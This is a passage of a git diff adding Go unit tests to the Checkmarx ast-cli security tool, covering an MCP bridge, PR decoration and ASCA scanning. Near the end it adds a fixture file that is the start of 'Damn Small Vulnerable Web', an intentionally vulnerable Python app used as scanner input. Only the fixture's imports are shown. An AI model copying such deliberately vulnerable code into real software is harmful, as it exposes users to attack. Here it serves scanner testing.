+ assert.Equal(t, float64(5), lines[0]["id"])
+ assert.Equal(t, map[string]interface{}{}, lines[0]["result"])
+}
+
+func TestDispatchLocal_UnknownMethodWithID_WritesError(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.dispatchLocal([]byte(`{"jsonrpc":"2.0","id":7,"method":"tools/call"}`))
+ lines := decodeLines(t, out.String())
+ assert.Len(t, lines, 1)
+ assert.Contains(t, lines[0], "error")
+}
+
+func TestDispatchLocal_UnknownMethodWithoutID_NoResponse(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.dispatchLocal([]byte(`{"jsonrpc":"2.0","method":"notifications/foo"}`))
+ assert.Empty(t, out.String())
+}
+
+func TestDispatchLocal_InvalidJSON_Ignored(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.dispatchLocal([]byte(`not json`))
+ assert.Empty(t, out.String())
+}
+
+func TestEmit_EmptyRaw_NoOutput(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.emit([]byte(" "))
+ assert.Empty(t, out.String())
+}
+
+func TestEmit_InvalidJSON_NoOutput(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.emit([]byte("not json"))
+ assert.Empty(t, out.String())
+}
+
+func TestEmit_ValidJSONWithoutProtocolVersion_EmitsAndLeavesProtoUnset(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ s.emit([]byte(`{"jsonrpc":"2.0","id":1,"result":{"ok":true}}`))
+ assert.Contains(t, out.String(), `"ok":true`)
+ assert.Empty(t, s.proto)
+}
+
+func TestHandleResponse_Accepted_DiscardsBodyNoOutput(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ resp := &http.Response{StatusCode: http.StatusAccepted, Header: http.Header{}, Body: io.NopCloser(strings.NewReader("ignored"))}
+ s.handleResponse(resp)
+ assert.Empty(t, out.String())
+}
+
+func TestHandleResponse_CapturesSessionID(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ header := http.Header{}
+ header.Set("Mcp-Session-Id", "sess-77")
+ resp := &http.Response{StatusCode: http.StatusOK, Header: header, Body: io.NopCloser(strings.NewReader(`{"jsonrpc":"2.0","id":1,"result":{}}`))}
+ s.handleResponse(resp)
+ assert.Equal(t, "sess-77", s.id)
+}
+
+func TestHandleResponse_SSEContentType_PumpsSSE(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ header := http.Header{}
+ header.Set("Content-Type", "text/event-stream")
+ resp := &http.Response{
+ StatusCode: http.StatusOK,
+ Header: header,
+ Body: io.NopCloser(strings.NewReader("data: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{}}\n\n")),
+ }
+ s.handleResponse(resp)
+ lines := decodeLines(t, out.String())
+ assert.Len(t, lines, 1)
+}
+
+func TestPumpSSE_MultipleEvents(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ body := strings.NewReader(
+ "data: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{}}\n\n" +
+ "data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{}}\n\n")
+ s.pumpSSE(body)
+ lines := decodeLines(t, out.String())
+ assert.Len(t, lines, 2)
+}
+
+func TestPumpSSE_CommentsIgnored_AndTrailingEventWithoutBlankLineFlushed(t *testing.T) {
+ var out syncBuffer
+ s := &bridgeSession{writer: newSyncWriter(&out)}
+ body := strings.NewReader(": keep-alive comment\ndata: {\"jsonrpc\":\"2.0\",\"id\":9,\"result\":{}}")
+ s.pumpSSE(body)
+ lines := decodeLines(t, out.String())
+ assert.Len(t, lines, 1)
+ assert.Equal(t, float64(9), lines[0]["id"])
+}
+
// TestEstablishRemoteSession_DoesNotEmitInitResult: the bridge-driven remote
// initialize captures the session id + proto and drives notifications/initialized,
// but must NOT emit an init result to the client (it already got the local one).
diff --git a/internal/commands/agenthooks/mcp/server_test.go b/internal/commands/agenthooks/mcp/server_test.go
new file mode 100644
index 00000000..4fb06946
--- /dev/null
+++ b/internal/commands/agenthooks/mcp/server_test.go
@@ -0,0 +1,18 @@
+//go:build !integration
+
+package mcp
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/assert"
+)
+
+func TestNewMCPCommand_Metadata(t *testing.T) {
+ cmd := NewMCPCommand("1.0.0", func() bool { return true })
+ assert.Equal(t, "mcp", cmd.Use)
+
+ bridgeCmd, _, err := cmd.Find([]string{"bridge"})
+ assert.NoError(t, err)
+ assert.Equal(t, "bridge", bridgeCmd.Use)
+}
diff --git a/internal/commands/util/pr_test.go b/internal/commands/util/pr_test.go
index 2c3f910c..59f01593 100644
--- a/internal/commands/util/pr_test.go
+++ b/internal/commands/util/pr_test.go
@@ -3,7 +3,10 @@ package util
import (
"testing"
+ "github.com/checkmarx/ast-cli/internal/params"
+ "github.com/checkmarx/ast-cli/internal/wrappers"
"github.com/checkmarx/ast-cli/internal/wrappers/mock"
+ "github.com/spf13/cobra"
asserts "github.com/stretchr/testify/assert"
"gotest.tools/assert"
@@ -237,3 +240,166 @@ func TestValidateAzureOnPremParameters_WhenParametersAreNotValid_ShouldReturnErr
err := validateAzureOnPremParameters("", "username")
asserts.NotNil(t, err)
}
+
+// ── policiesToPrPolicies (included branch) ──────────────────────────────────
+
+func TestPoliciesToPrPolicies_IncludesViolatedPolicies(t *testing.T) {
+ policy := &wrappers.PolicyResponseModel{
+ Policies: []wrappers.Policy{
+ {Name: "clean-policy", RulesViolated: []string{}},
+ {Name: "violated-policy", BreakBuild: true, RulesViolated: []string{"rule-1", "rule-2"}},
+ },
+ }
+ result := policiesToPrPolicies(policy)
+ asserts.Len(t, result, 1)
+ asserts.Equal(t, "violated-policy", result[0].Name)
+ asserts.True(t, result[0].BreakBuild)
+ asserts.Equal(t, []string{"rule-1", "rule-2"}, result[0].RulesNames)
+}
+
+// ── createBBPRModel ──────────────────────────────────────────────────────────
+
+func TestCreateBBPRModel_Cloud_ReturnsCloudModel(t *testing.T) {
+ model := createBBPRModel(true, "scan-1", "token", "my-namespace", "My Repo Name", 7, "", "", nil)
+ cloudModel, ok := model.(*wrappers.BitbucketCloudPRModel)
+ asserts.True(t, ok, "expected *wrappers.BitbucketCloudPRModel")
+ asserts.Equal(t, "My-Repo-Name", cloudModel.RepoName)
+ asserts.Equal(t, "my-namespace", cloudModel.Namespace)
+ asserts.Equal(t, 7, cloudModel.PRID)
+}
+
+func TestCreateBBPRModel_Server_ReturnsServerModel(t *testing.T) {
+ model := createBBPRModel(false, "scan-1", "token", "my-namespace", "My Repo", 9, "https://bb.example.com", "PROJ", nil)
+ serverModel, ok := model.(*wrappers.BitbucketServerPRModel)
+ asserts.True(t, ok, "expected *wrappers.BitbucketServerPRModel")
+ asserts.Equal(t, "My-Repo", serverModel.RepoName)
+ asserts.Equal(t, "PROJ", serverModel.ProjectKey)
+ asserts.Equal(t, "https://bb.example.com", serverModel.ServerURL)
+ asserts.Equal(t, 9, serverModel.PRID)
+}
+
+// ── getScanViolatedPolicies ──────────────────────────────────────────────────
+
+func TestGetScanViolatedPolicies_ScanWrapperError_ReturnsError(t *testing.T) {
+ cmd := &cobra.Command{}
+ _, err := getScanViolatedPolicies(&mock.ScansMockWrapper{}, &mock.PolicyMockWrapper{}, "fake-error-id", cmd)
+ asserts.Error(t, err, "fake error message")
+}
+
+// ── PR decoration commands: fast paths that never reach policy evaluation ──
+
+func TestRunPRDecorationGithub_ScanRunning_SkipsDecoration(t *testing.T) {
+ cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestRunPRDecorationGithub_ScanWrapperError_ReturnsError(t *testing.T) {
+ cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "fake-error-id"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1"))
+
+ asserts.Error(t, cmd.RunE(cmd, nil), "fake error message")
+}
+
+func TestRunPRDecorationGithub_Success_PostsDecoration(t *testing.T) {
+ cmd := PRDecorationGithub(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestRunPRDecorationGitlab_ScanRunning_SkipsDecoration(t *testing.T) {
+ cmd := PRDecorationGitlab(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRIidFlag, "1"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRGitlabProjectFlag, "100"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestRunPRDecorationGitlab_Success_PostsDecoration(t *testing.T) {
+ cmd := PRDecorationGitlab(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRIidFlag, "1"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRGitlabProjectFlag, "100"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestRunPRDecorationBitbucket_MissingNamespaceForCloud_ReturnsError(t *testing.T) {
+ cmd := PRDecorationBitbucket(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRBBIDFlag, "1"))
+ // namespace intentionally omitted, apiURL empty => cloud, requires namespace
+
+ err := cmd.RunE(cmd, nil)
+ asserts.Error(t, err, "namespace is required for Bitbucket Cloud")
+}
+
+func TestRunPRDecorationBitbucket_Success_PostsDecoration(t *testing.T) {
+ cmd := PRDecorationBitbucket(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.RepoNameFlag, "repo"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRBBIDFlag, "1"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestRunPRDecorationAzure_OnPremParamsInvalid_ReturnsError(t *testing.T) {
+ cmd := PRDecorationAzure(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.AzureProjectFlag, "proj"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1"))
+ // code-repository-username set without code-repository-url => invalid
+ asserts.NoError(t, cmd.Flags().Set(params.CodeRespositoryUsernameFlag, "someuser"))
+
+ err := cmd.RunE(cmd, nil)
+ asserts.Error(t, err, errorAzureOnPremParams)
+}
+
+func TestRunPRDecorationAzure_Success_PostsDecoration(t *testing.T) {
+ cmd := PRDecorationAzure(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ asserts.NoError(t, cmd.Flags().Set(params.ScanIDFlag, "ScanNotRunning"))
+ asserts.NoError(t, cmd.Flags().Set(params.SCMTokenFlag, "tok"))
+ asserts.NoError(t, cmd.Flags().Set(params.NamespaceFlag, "ns"))
+ asserts.NoError(t, cmd.Flags().Set(params.AzureProjectFlag, "proj"))
+ asserts.NoError(t, cmd.Flags().Set(params.PRNumberFlag, "1"))
+
+ asserts.NoError(t, cmd.RunE(cmd, nil))
+}
+
+func TestNewPRDecorationCommand_HasAllSubcommands(t *testing.T) {
+ cmd := NewPRDecorationCommand(&mock.PRMockWrapper{}, &mock.PolicyMockWrapper{}, &mock.ScansMockWrapper{})
+ names := map[string]bool{}
+ for _, sub := range cmd.Commands() {
+ names[sub.Name()] = true
+ }
+ asserts.True(t, names["github"])
+ asserts.True(t, names["gitlab"])
+ asserts.True(t, names["azure"])
+}
diff --git a/internal/commands/util/remediation_test.go b/internal/commands/util/remediation_test.go
index ae422afb..1a759dd5 100644
--- a/internal/commands/util/remediation_test.go
+++ b/internal/commands/util/remediation_test.go
@@ -1,9 +1,11 @@
package util
import (
+ "encoding/json"
"path/filepath"
"testing"
+ "github.com/checkmarx/ast-cli/internal/wrappers"
"gotest.tools/assert"
)
@@ -103,6 +105,31 @@ func TestRemediationKicsCommandInvalidEngine(t *testing.T) {
assert.Assert(t, err != nil, InvalidEngineMessage)
}
+func TestBuildRemediationSummary_ParsesAvailableAndAppliedCounts(t *testing.T) {
+ kicsOutput := "Some log line\n" +
+ "Another log line\n" +
+ "Available fixes: 5\n" +
+ "Applied fixes: 3\n"
+
+ summary := buildRemediationSummary(kicsOutput)
+
+ var model wrappers.KicsRemediationSummary
+ assert.NilError(t, json.Unmarshal([]byte(summary), &model))
+ assert.Equal(t, model.AvailableRemediation, 5)
+ assert.Equal(t, model.AppliedRemediation, 3)
+}
+
+func TestBuildRemediationSummary_ZeroCounts(t *testing.T) {
+ kicsOutput := "line1\nline2\nAvailable fixes: 0\nApplied fixes: 0\n"
+
+ summary := buildRemediationSummary(kicsOutput)
+
+ var model wrappers.KicsRemediationSummary
+ assert.NilError(t, json.Unmarshal([]byte(summary), &model))
+ assert.Equal(t, model.AvailableRemediation, 0)
+ assert.Equal(t, model.AppliedRemediation, 0)
+}
+
func TestRemediationKicsCommandSimilarityFilter(t *testing.T) {
cmd := RemediationKicsCommand()
abs, _ := filepath.Abs(kicsFileValue)
diff --git a/internal/services/applications_test.go b/internal/services/applications_test.go
index c1be66a7..759696aa 100644
--- a/internal/services/applications_test.go
+++ b/internal/services/applications_test.go
@@ -1,6 +1,7 @@
package services
import (
+ "errors"
"reflect"
"strings"
"testing"
@@ -96,3 +97,176 @@ func Test_AssociateProjectToApplication_ProjectAlreadyAssociated(t *testing.T) {
err := associateProjectToApplication(applicationName, projectID, applicationWrapper)
assert.NilError(t, err)
}
+
+func resetFeatureFlagState() {
+ mock.Flags = nil
+ mock.Flag = wrappers.FeatureFlagResponseModel{}
+ mock.FFErr = nil //nolint:gocritic // resetting shared mock package state between tests
+ mock.TenantConfiguration = nil
+ wrappers.ClearCache()
+}
+
+func TestGetApplication_EmptyName_ReturnsNilNil(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ application, err := GetApplication("", applicationWrapper)
+ assert.NilError(t, err)
+ assert.Assert(t, application == nil)
+}
+
+func TestGetApplication_NotFound_ReturnsNilNil(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ application, err := GetApplication("anyApplication", applicationWrapper)
+ assert.NilError(t, err)
+ assert.Assert(t, application == nil)
+}
+
+func TestGetApplication_Found_ReturnsApplication(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ application, err := GetApplication("MOCK", applicationWrapper)
+ assert.NilError(t, err)
+ assert.Assert(t, application != nil)
+ assert.Equal(t, application.Name, "MOCK")
+}
+
+func TestGetApplication_NoExactNameMatch_ReturnsNil(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ application, err := GetApplication("some-other-application-name", applicationWrapper)
+ assert.NilError(t, err)
+ assert.Assert(t, application == nil)
+}
+
+func TestGetApplication_WrapperError_ReturnsError(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ application, err := GetApplication(mock.NoPermissionApp, applicationWrapper)
+ assert.Assert(t, err != nil)
+ assert.Assert(t, application == nil)
+}
+
+func TestGetApplicationID_EmptyName_ReturnsNilNil(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ ids, err := getApplicationID("", applicationWrapper)
+ assert.NilError(t, err)
+ assert.Assert(t, ids == nil)
+}
+
+func TestGetApplicationID_Found_ReturnsID(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ ids, err := getApplicationID("MOCK", applicationWrapper)
+ assert.NilError(t, err)
+ assert.DeepEqual(t, ids, []string{"mockID"})
+}
+
+func TestGetApplicationID_NotFound_ReturnsError(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ ids, err := getApplicationID("anyApplication", applicationWrapper)
+ assert.Assert(t, err != nil)
+ assert.Assert(t, ids == nil)
+}
+
+func TestGetApplicationID_WrapperError_ReturnsError(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ ids, err := getApplicationID(mock.NoPermissionApp, applicationWrapper)
+ assert.Assert(t, err != nil)
+ assert.Assert(t, ids == nil)
+}
+
+func TestCheckDirectAssociationEnabled_DirectFlagEnabled_ReturnsTrue(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: true},
+ {Name: wrappers.DaMigrationEnabled, Status: false},
+ }
+ enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+ assert.Assert(t, enabled)
+}
+
+func TestCheckDirectAssociationEnabled_BothDisabled_ReturnsFalse(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: false},
+ {Name: wrappers.DaMigrationEnabled, Status: false},
+ }
+ enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+ assert.Assert(t, !enabled)
+}
+
+func TestCheckDirectAssociationEnabled_MigrationEnabledWithConfig_ReturnsTrue(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: false},
+ {Name: wrappers.DaMigrationEnabled, Status: true},
+ }
+ enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+ assert.Assert(t, enabled)
+}
+
+func TestCheckDirectAssociationEnabled_MigrationEnabledWrapperError_ReturnsError(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: false},
+ {Name: wrappers.DaMigrationEnabled, Status: true},
+ }
+ tenantWrapper := &mock.TenantConfigurationMockWrapper{
+ CustomGetTenantConfiguration: func() (*[]*wrappers.TenantConfigurationResponse, *wrappers.WebError, error) {
+ return nil, nil, errors.New("tenant configuration request failed")
+ },
+ }
+ enabled, err := checkDirectAssociationEnabled(&mock.FeatureFlagsMockWrapper{}, tenantWrapper)
+ assert.Assert(t, err != nil)
+ assert.Assert(t, !enabled)
+}
+
+func TestFindApplicationAndUpdate_EmptyName_ReturnsNil(t *testing.T) {
+ err := findApplicationAndUpdate("", &mock.ApplicationsMockWrapper{}, "project-name", "project-id",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+}
+
+func TestFindApplicationAndUpdate_ApplicationNotFound_ReturnsError(t *testing.T) {
+ err := findApplicationAndUpdate("anyApplication", &mock.ApplicationsMockWrapper{}, "project-name", "project-id",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.Assert(t, err != nil)
+}
+
+func TestFindApplicationAndUpdate_GetApplicationError_ReturnsError(t *testing.T) {
+ err := findApplicationAndUpdate(mock.NoPermissionApp, &mock.ApplicationsMockWrapper{}, "project-name", "project-id",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.Assert(t, err != nil)
+}
+
+func TestFindApplicationAndUpdate_AlreadyAssociated_ReturnsNil(t *testing.T) {
+ err := findApplicationAndUpdate(mock.ExistingApplication, &mock.ApplicationsMockWrapper{}, "project-name", "ID-newProject",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+}
+
+func TestFindApplicationAndUpdate_DirectAssociationEnabled_AssociatesProject(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: true},
+ {Name: wrappers.DaMigrationEnabled, Status: false},
+ }
+ err := findApplicationAndUpdate("MOCK", &mock.ApplicationsMockWrapper{}, "project-name", "brand-new-project-id",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+}
+
+func TestFindApplicationAndUpdate_DirectAssociationDisabled_UpdatesApplication(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flags = wrappers.FeatureFlagsResponseModel{
+ {Name: wrappers.DirectAssociationEnabled, Status: false},
+ {Name: wrappers.DaMigrationEnabled, Status: false},
+ }
+ err := findApplicationAndUpdate("MOCK", &mock.ApplicationsMockWrapper{}, "project-name", "brand-new-project-id-2",
+ &mock.FeatureFlagsMockWrapper{}, &mock.TenantConfigurationMockWrapper{})
+ assert.NilError(t, err)
+}
diff --git a/internal/services/asca_test.go b/internal/services/asca_test.go
index 295c5f22..d73f0ca2 100644
--- a/internal/services/asca_test.go
+++ b/internal/services/asca_test.go
@@ -268,6 +268,112 @@ func TestCreateASCAScanRequest_ValidCustomVorpalLocation_NoVorpalExe_Installed_F
_ = result
}
+func TestValidateIgnoredFilePath_EmptyPath_ReturnsNil(t *testing.T) {
+ result := validateIgnoredFilePath("")
+ assert.Nil(t, result)
+}
+
+func TestValidateIgnoredFilePath_FileNotFound_ReturnsErrorResult(t *testing.T) {
+ result := validateIgnoredFilePath("data/nonexistent-ignore-file.json")
+ assert.NotNil(t, result)
+ assert.NotNil(t, result.Error)
+ assert.Contains(t, result.Error.Description, "not found")
+}
+
+func TestValidateIgnoredFilePath_FileExists_ReturnsNil(t *testing.T) {
+ result := validateIgnoredFilePath("data/ignoredAsca.json")
+ assert.Nil(t, result)
+}
+
+func TestReadSourceCode_FileNotFound_ReturnsError(t *testing.T) {
+ content, err := readSourceCode("data/nonexistent-file.py")
+ assert.Error(t, err)
+ assert.Empty(t, content)
+}
+
+func TestReadSourceCode_ValidFile_ReturnsContent(t *testing.T) {
+ content, err := readSourceCode("data/python-vul-file.py")
+ assert.NoError(t, err)
+ assert.Contains(t, content, "#!/usr/bin/env python")
+}
+
+func TestLoadIgnoredAscaFindings_FileNotFound_ReturnsError(t *testing.T) {
+ findings, err := loadIgnoredAscaFindings("data/nonexistent.json")
+ assert.Error(t, err)
+ assert.Nil(t, findings)
+}
+
+func TestLoadIgnoredAscaFindings_InvalidJSON_ReturnsError(t *testing.T) {
+ tempDir := t.TempDir()
+ badFile := filepath.Join(tempDir, "bad.json")
+ writeErr := os.WriteFile(badFile, []byte("not valid json"), 0600)
+ assert.NoError(t, writeErr)
+
+ findings, err := loadIgnoredAscaFindings(badFile)
+ assert.Error(t, err)
+ assert.Nil(t, findings)
+}
+
+func TestLoadIgnoredAscaFindings_ValidJSON_ReturnsFindings(t *testing.T) {
+ findings, err := loadIgnoredAscaFindings("data/ignoredAsca.json")
+ assert.NoError(t, err)
+ assert.Len(t, findings, 1)
+ assert.Equal(t, "python-vul-file.py", findings[0].FileName)
+ assert.Equal(t, uint32(34), findings[0].Line)
+ assert.Equal(t, uint32(4006), findings[0].RuleID)
+}
+
+func TestBuildAscaIgnoreMap_BuildsExpectedKeys(t *testing.T) {
+ ignored := []grpcs.AscaIgnoreFinding{
+ {FileName: "a.py", Line: 10, RuleID: 1},
+ {FileName: "b.py", Line: 20, RuleID: 2},
+ }
+ ignoreMap := buildAscaIgnoreMap(ignored)
+ assert.Len(t, ignoreMap, 2)
+ assert.True(t, ignoreMap["a.py_10_1"])
+ assert.True(t, ignoreMap["b.py_20_2"])
+ assert.False(t, ignoreMap["c.py_30_3"])
+}
+
+func TestFilterIgnoredAscaFindings_RemovesMatchingEntries(t *testing.T) {
+ details := []grpcs.ScanDetail{
+ {FileName: "a.py", Line: 10, RuleID: 1},
+ {FileName: "b.py", Line: 20, RuleID: 2},
+ }
+ ignoreMap := map[string]bool{"a.py_10_1": true}
+
+ filtered := filterIgnoredAscaFindings(details, ignoreMap)
+ assert.Len(t, filtered, 1)
+ assert.Equal(t, "b.py", filtered[0].FileName)
+}
+
+func TestExecuteScan_ScanWrapperError_ReturnsError(t *testing.T) {
+ ascaWrapper := &mock.ASCAMockWrapper{
+ CustomScan: func(fileName, sourceCode string) (*grpcs.ScanResult, error) {
+ return nil, errors.New("scan wrapper failure")
+ },
+ }
+ result, err := executeScan(ascaWrapper, "data/python-vul-file.py", "")
+ assert.Error(t, err)
+ assert.Nil(t, result)
+ assert.Contains(t, err.Error(), "scan wrapper failure")
+}
+
+func TestExecuteScan_ReadSourceCodeError_ReturnsError(t *testing.T) {
+ ascaWrapper := mock.NewASCAMockWrapper(1234)
+ result, err := executeScan(ascaWrapper, "data/nonexistent-file.py", "")
+ assert.Error(t, err)
+ assert.Nil(t, result)
+}
+
+func TestExecuteScan_InvalidIgnoredFile_ContinuesWithoutFiltering(t *testing.T) {
+ ascaWrapper := mock.NewASCAMockWrapper(1234)
+ result, err := executeScan(ascaWrapper, "data/python-vul-file.py", "data/nonexistent-ignore-file.json")
+ assert.NoError(t, err)
+ assert.NotNil(t, result)
+ assert.NotEmpty(t, result.ScanDetails)
+}
+
func TestCreateASCAScanRequest_ValidCustomVorpalLocation_VorPal_exe_Success(t *testing.T) {
tempDir := t.TempDir()
diff --git a/internal/services/data/ignoredAsca.json b/internal/services/data/ignoredAsca.json
new file mode 100644
index 00000000..e9dc4045
--- /dev/null
+++ b/internal/services/data/ignoredAsca.json
@@ -0,0 +1,9 @@
+[
+
+ {
+ "FileName": "python-vul-file.py",
+ "Line": 34,
+ "RuleID": 4006
+ }
+
+]
\ No newline at end of file
diff --git a/internal/services/data/python-vul-file.py b/internal/services/data/python-vul-file.py
new file mode 100644
index 00000000..1f46aa3b
--- /dev/null
+++ b/internal/services/data/python-vul-file.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required
+try:
+ import lxml.etree
+except ImportError:
+ print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml"))
+
+NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)"
+LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412
